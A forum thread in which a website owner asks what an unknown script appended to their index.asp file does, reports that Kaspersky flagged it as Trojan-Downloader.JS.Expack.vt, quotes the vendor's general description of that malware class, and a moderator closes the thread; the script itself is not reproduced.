What is this script for? Is it intended to hack my website or trace my activities?

I used Google to find some information about this script. Finally, I came to this address:

http://pastebin.com/b5km5Hay

Can anybody let me know what this script is for?

Thank you in advance.

But how can I use your code. I know very very little about JavaScript and JQuery.

Thank you, Dormilich for your valuable help.

I don't know how to use the Functions you have given in your post.

Could you please give an example on how to use these functions?

Fortunately Kaspersky identified this script as "Trojan-Downloader.JS.Expack.vt".

It seems someone has hacked the web server on which my files are hosted.

This image shows the Kaspersky security report window on my computer:

This URL gives some information about the behavior of this malicious script:

http://www.securelist.com/en/descrip...r.JS.Expack.vt

This part is worthy to know from the above URL:

Programs classified as Trojan-Downloader download and install new versions of malicious programs, including Trojans and AdWare, on victim computers. Once downloaded from the Internet, the programs are launched or included on a list of programs which will run automatically when the operating system boots up.

Information about the names and locations of the programs which are downloaded are in the Trojan code, or are downloaded by the Trojan from an Internet resource (usually a web page).

This type of malicious program is frequently used in the initial infection of visitors to websites which contain exploits.


Now we know it's a malicious code. So it's really urgent to decipher it.

Any more help would be appreciated!

I'm so curious about it. Maybe someone has intentionally appended this script to my "index.asp" file.

I'm really eager to know which sites are using this script and what it has done on my website.

I need experts' help to decipher this code.

Thank you in advance.

As the content of this thread relates to unintended receipt of malware, which we cannot delve into any further, I've now closed this thread.
